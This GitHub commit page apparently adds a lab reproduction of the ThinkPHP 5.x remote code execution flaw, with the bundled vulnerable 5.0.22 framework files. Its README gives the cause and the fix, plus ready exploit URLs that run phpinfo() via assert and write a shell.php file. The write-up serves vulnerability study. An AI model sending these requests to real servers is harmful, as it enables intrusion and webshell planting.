-
Notifications
You must be signed in to change notification settings - Fork 522
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
thinkphp代码执行
- Loading branch information
Showing
27 changed files
with
800 additions
and
0 deletions.
There are no files selected for viewing
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
# ThinkPHP_5.X_全版本任意代码执行 | ||
|
||
|
||
## Affected Version | ||
|
||
- ThinkPHP_5.X | ||
|
||
## 0x00 源码地址 | ||
|
||
https://github.com/top-think/framework | ||
|
||
## 0x01 搭建环境 | ||
|
||
phpstudy 2018 | ||
|
||
windows 10 x64 | ||
|
||
## 0x02 漏洞原理 | ||
|
||
控制器过滤不严,结合直接返回类名的代码操作,导致可以用命名空间的方式来调用任意类的任意方法。 | ||
|
||
**修复代码:** | ||
|
||
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815#diff-b14f70992e6922289d5fea7a43e4f8d3 | ||
|
||
``` | ||
// 获取控制器名 | ||
$controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); | ||
- if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) { | ||
+ if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { | ||
throw new HttpException(404, 'controller not exists:' . $controller); | ||
} | ||
``` | ||
## 0x03 漏洞利用 | ||
|
||
5.1.x php版本>5.5 | ||
|
||
``` | ||
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert | ||
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() | ||
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?> | ||
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E | ||
``` | ||
|
||
5.0.x php版本>=5.4 | ||
|
||
``` | ||
http://localhost/thinkphp_5.0.22_with_extend/public///index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo() | ||
``` | ||
|
||
## 0x04 参考 | ||
|
||
[[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录](https://xz.aliyun.com/t/3570) | ||
|
4 changes: 4 additions & 0 deletions
4
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/.gitignore
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
.idea | ||
composer.lock | ||
*.log | ||
thinkphp |
42 changes: 42 additions & 0 deletions
42
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/.travis.yml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
sudo: false | ||
|
||
language: php | ||
|
||
branches: | ||
only: | ||
- stable | ||
|
||
cache: | ||
directories: | ||
- $HOME/.composer/cache | ||
|
||
before_install: | ||
- composer self-update | ||
|
||
install: | ||
- composer install --no-dev --no-interaction --ignore-platform-reqs | ||
- zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Core.zip . | ||
- composer require --update-no-dev --no-interaction "topthink/think-image:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-migration:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-captcha:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-mongo:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-worker:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-helper:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-queue:^1.0" | ||
- composer require --update-no-dev --no-interaction "topthink/think-angular:^1.0" | ||
- composer require --dev --update-no-dev --no-interaction "topthink/think-testing:^1.0" | ||
- zip -r --exclude='*.git*' --exclude='*.zip' --exclude='*.travis.yml' ThinkPHP_Full.zip . | ||
|
||
script: | ||
- php think unit | ||
|
||
deploy: | ||
provider: releases | ||
api_key: | ||
secure: TSF6bnl2JYN72UQOORAJYL+CqIryP2gHVKt6grfveQ7d9rleAEoxlq6PWxbvTI4jZ5nrPpUcBUpWIJHNgVcs+bzLFtyh5THaLqm39uCgBbrW7M8rI26L8sBh/6nsdtGgdeQrO/cLu31QoTzbwuz1WfAVoCdCkOSZeXyT/CclH99qV6RYyQYqaD2wpRjrhA5O4fSsEkiPVuk0GaOogFlrQHx+C+lHnf6pa1KxEoN1A0UxxVfGX6K4y5g4WQDO5zT4bLeubkWOXK0G51XSvACDOZVIyLdjApaOFTwamPcD3S1tfvuxRWWvsCD5ljFvb2kSmx5BIBNwN80MzuBmrGIC27XLGOxyMerwKxB6DskNUO9PflKHDPI61DRq0FTy1fv70SFMSiAtUv9aJRT41NQh9iJJ0vC8dl+xcxrWIjU1GG6+l/ZcRqVx9V1VuGQsLKndGhja7SQ+X1slHl76fRq223sMOql7MFCd0vvvxVQ2V39CcFKao/LB1aPH3VhODDEyxwx6aXoTznvC/QPepgWsHOWQzKj9ftsgDbsNiyFlXL4cu8DWUty6rQy8zT2b4O8b1xjcwSUCsy+auEjBamzQkMJFNlZAIUrukL/NbUhQU37TAbwsFyz7X0E/u/VMle/nBCNAzgkMwAUjiHM6FqrKKBRWFbPrSIixjfjkCnrMEPw= | ||
file: | ||
- ThinkPHP_Core.zip | ||
- ThinkPHP_Full.zip | ||
skip_cleanup: true | ||
on: | ||
tags: true |
32 changes: 32 additions & 0 deletions
32
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/LICENSE.txt
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,32 @@ | ||
|
||
ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 | ||
版权所有Copyright © 2006-2017 by ThinkPHP (http://thinkphp.cn) | ||
All rights reserved。 | ||
ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 | ||
|
||
Apache Licence是著名的非盈利开源组织Apache采用的协议。 | ||
该协议和BSD类似,鼓励代码共享和尊重原作者的著作权, | ||
允许代码修改,再作为开源或商业软件发布。需要满足 | ||
的条件: | ||
1. 需要给代码的用户一份Apache Licence ; | ||
2. 如果你修改了代码,需要在被修改的文件中说明; | ||
3. 在延伸的代码中(修改和有源代码衍生的代码中)需要 | ||
带有原来代码中的协议,商标,专利声明和其他原来作者规 | ||
定需要包含的说明; | ||
4. 如果再发布的产品中包含一个Notice文件,则在Notice文 | ||
件中需要带有本协议内容。你可以在Notice中增加自己的 | ||
许可,但不可以表现为对Apache Licence构成更改。 | ||
具体的协议参考:http://www.apache.org/licenses/LICENSE-2.0 | ||
|
||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS | ||
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT | ||
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS | ||
FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE | ||
COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, | ||
INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, | ||
BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; | ||
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER | ||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT | ||
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN | ||
ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE | ||
POSSIBILITY OF SUCH DAMAGE. |
133 changes: 133 additions & 0 deletions
133
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/README.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,133 @@ | ||
ThinkPHP 5.0 | ||
=============== | ||
|
||
[![Total Downloads](https://poser.pugx.org/topthink/think/downloads)](https://packagist.org/packages/topthink/think) | ||
[![Latest Stable Version](https://poser.pugx.org/topthink/think/v/stable)](https://packagist.org/packages/topthink/think) | ||
[![Latest Unstable Version](https://poser.pugx.org/topthink/think/v/unstable)](https://packagist.org/packages/topthink/think) | ||
[![License](https://poser.pugx.org/topthink/think/license)](https://packagist.org/packages/topthink/think) | ||
|
||
ThinkPHP5在保持快速开发和大道至简的核心理念不变的同时,PHP版本要求提升到5.4,对已有的CBD模式做了更深的强化,优化核心,减少依赖,基于全新的架构思想和命名空间实现,是ThinkPHP突破原有框架思路的颠覆之作,其主要特性包括: | ||
|
||
+ 基于命名空间和众多PHP新特性 | ||
+ 核心功能组件化 | ||
+ 强化路由功能 | ||
+ 更灵活的控制器 | ||
+ 重构的模型和数据库类 | ||
+ 配置文件可分离 | ||
+ 重写的自动验证和完成 | ||
+ 简化扩展机制 | ||
+ API支持完善 | ||
+ 改进的Log类 | ||
+ 命令行访问支持 | ||
+ REST支持 | ||
+ 引导文件支持 | ||
+ 方便的自动生成定义 | ||
+ 真正惰性加载 | ||
+ 分布式环境支持 | ||
+ 更多的社交类库 | ||
|
||
> ThinkPHP5的运行环境要求PHP5.4以上。 | ||
详细开发文档参考 [ThinkPHP5完全开发手册](http://www.kancloud.cn/manual/thinkphp5) | ||
|
||
## 目录结构 | ||
|
||
初始的目录结构如下: | ||
|
||
~~~ | ||
www WEB部署目录(或者子目录) | ||
├─application 应用目录 | ||
│ ├─common 公共模块目录(可以更改) | ||
│ ├─module_name 模块目录 | ||
│ │ ├─config.php 模块配置文件 | ||
│ │ ├─common.php 模块函数文件 | ||
│ │ ├─controller 控制器目录 | ||
│ │ ├─model 模型目录 | ||
│ │ ├─view 视图目录 | ||
│ │ └─ ... 更多类库目录 | ||
│ │ | ||
│ ├─command.php 命令行工具配置文件 | ||
│ ├─common.php 公共函数文件 | ||
│ ├─config.php 公共配置文件 | ||
│ ├─route.php 路由配置文件 | ||
│ ├─tags.php 应用行为扩展定义文件 | ||
│ └─database.php 数据库配置文件 | ||
│ | ||
├─public WEB目录(对外访问目录) | ||
│ ├─index.php 入口文件 | ||
│ ├─router.php 快速测试文件 | ||
│ └─.htaccess 用于apache的重写 | ||
│ | ||
├─thinkphp 框架系统目录 | ||
│ ├─lang 语言文件目录 | ||
│ ├─library 框架类库目录 | ||
│ │ ├─think Think类库包目录 | ||
│ │ └─traits 系统Trait目录 | ||
│ │ | ||
│ ├─tpl 系统模板目录 | ||
│ ├─base.php 基础定义文件 | ||
│ ├─console.php 控制台入口文件 | ||
│ ├─convention.php 框架惯例配置文件 | ||
│ ├─helper.php 助手函数文件 | ||
│ ├─phpunit.xml phpunit配置文件 | ||
│ └─start.php 框架入口文件 | ||
│ | ||
├─extend 扩展类库目录 | ||
├─runtime 应用的运行时目录(可写,可定制) | ||
├─vendor 第三方类库目录(Composer依赖库) | ||
├─build.php 自动生成定义文件(参考) | ||
├─composer.json composer 定义文件 | ||
├─LICENSE.txt 授权说明文件 | ||
├─README.md README 文件 | ||
├─think 命令行入口文件 | ||
~~~ | ||
|
||
> router.php用于php自带webserver支持,可用于快速测试 | ||
> 切换到public目录后,启动命令:php -S localhost:8888 router.php | ||
> 上面的目录结构和名称是可以改变的,这取决于你的入口文件和配置参数。 | ||
## 命名规范 | ||
|
||
`ThinkPHP5`遵循PSR-2命名规范和PSR-4自动加载规范,并且注意如下规范: | ||
|
||
### 目录和文件 | ||
|
||
* 目录不强制规范,驼峰和小写+下划线模式均支持; | ||
* 类库、函数文件统一以`.php`为后缀; | ||
* 类的文件名均以命名空间定义,并且命名空间的路径和类库文件所在路径一致; | ||
* 类名和类文件名保持一致,统一采用驼峰法命名(首字母大写); | ||
|
||
### 函数和类、属性命名 | ||
|
||
* 类的命名采用驼峰法,并且首字母大写,例如 `User`、`UserType`,默认不需要添加后缀,例如`UserController`应该直接命名为`User`; | ||
* 函数的命名使用小写字母和下划线(小写字母开头)的方式,例如 `get_client_ip`; | ||
* 方法的命名使用驼峰法,并且首字母小写,例如 `getUserName`; | ||
* 属性的命名使用驼峰法,并且首字母小写,例如 `tableName`、`instance`; | ||
* 以双下划线“__”打头的函数或方法作为魔法方法,例如 `__call` 和 `__autoload`; | ||
|
||
### 常量和配置 | ||
|
||
* 常量以大写字母和下划线命名,例如 `APP_PATH`和 `THINK_PATH`; | ||
* 配置参数以小写字母和下划线命名,例如 `url_route_on` 和`url_convert`; | ||
|
||
### 数据表和字段 | ||
|
||
* 数据表和字段采用小写加下划线方式命名,并注意字段名不要以下划线开头,例如 `think_user` 表和 `user_name`字段,不建议使用驼峰和中文作为数据表字段命名。 | ||
|
||
## 参与开发 | ||
|
||
请参阅 [ThinkPHP5 核心框架包](https://github.com/top-think/framework)。 | ||
|
||
## 版权信息 | ||
|
||
ThinkPHP遵循Apache2开源协议发布,并提供免费使用。 | ||
|
||
本项目包含的第三方源码和二进制文件之版权信息另行标注。 | ||
|
||
版权所有Copyright © 2006-2018 by ThinkPHP (http://thinkphp.cn) | ||
|
||
All rights reserved。 | ||
|
||
ThinkPHP® 商标和著作权所有者为上海顶想信息科技有限公司。 | ||
|
||
更多细节参阅 [LICENSE.txt](LICENSE.txt) |
1 change: 1 addition & 0 deletions
1
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/application/.htaccess
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
deny from all |
12 changes: 12 additions & 0 deletions
12
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/application/command.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?php | ||
// +---------------------------------------------------------------------- | ||
// | ThinkPHP [ WE CAN DO IT JUST THINK ] | ||
// +---------------------------------------------------------------------- | ||
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved. | ||
// +---------------------------------------------------------------------- | ||
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) | ||
// +---------------------------------------------------------------------- | ||
// | Author: yunwuxin <[email protected]> | ||
// +---------------------------------------------------------------------- | ||
|
||
return []; |
12 changes: 12 additions & 0 deletions
12
ThinkPHP/ThinkPHP_5.X_远程代码执行漏洞/thinkphp_5.0.22_with_extend/application/common.php
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?php | ||
// +---------------------------------------------------------------------- | ||
// | ThinkPHP [ WE CAN DO IT JUST THINK ] | ||
// +---------------------------------------------------------------------- | ||
// | Copyright (c) 2006-2016 http://thinkphp.cn All rights reserved. | ||
// +---------------------------------------------------------------------- | ||
// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 ) | ||
// +---------------------------------------------------------------------- | ||
// | Author: 流年 <[email protected]> | ||
// +---------------------------------------------------------------------- | ||
|
||
// 应用公共文件 |
Oops, something went wrong.